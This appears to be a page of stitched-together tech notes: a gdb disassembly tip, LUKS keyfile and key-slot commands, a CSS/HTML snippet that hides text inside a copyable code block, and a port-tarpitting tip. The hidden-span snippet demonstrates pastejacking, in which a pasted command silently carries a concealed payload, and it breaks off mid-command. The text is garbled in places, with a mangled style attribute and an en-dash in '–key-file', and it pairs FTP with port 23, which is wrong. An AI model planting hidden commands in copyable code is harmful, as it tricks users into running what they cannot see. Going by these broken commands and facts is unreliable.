If you are dealing with a binary that has been cleaned off all the function names and debug information, and in gdb disass wants a defined function, use x/i address

Say you want to get WiFi AES or EAP working on another machine.

Add a file and remove passphrase, which usually is in the slot 0. First see what slots you have cryptsetup luksOpen /dev/sdx1 blah cryptsetup luksDump sudo chmod 0700 /root/.keyfiles sudo chmod 0400 /root/.keyfiles/luks_backups cryptsetup luksAddKey /dev/sda1 –key-file=/root/.keyfiles/luks_keyfile.bin dont need to put a keyphrase on it - the file itself is already on an encrypted partition, so you have to open the partition first before you get to it cryptsetup luksKillSlot /dev/sda1 0

.malicious {
  color: #f3f5f6;
  position: absolute;
  left: -100px;
  top: -100px;
  height: 0px;
  z-index: -100;
  display: inline-block;
  -webkit-touch-callout: none;
     -khtml-user-select: none;
        -ms-user-select: none;
            user-select: none;
}


<code style="style=" background-color:="" #eeeeee;="" padding:="" 10px;"="">
<span>ls</span>
<span class="malicious">
echo 'Haha! You gave me 

Introduce long delays on commonly scanned ports that you do not use, like FTP 23. This way a system on the other end is stuck waiting, hoping that you will open a connection, and wastes its resources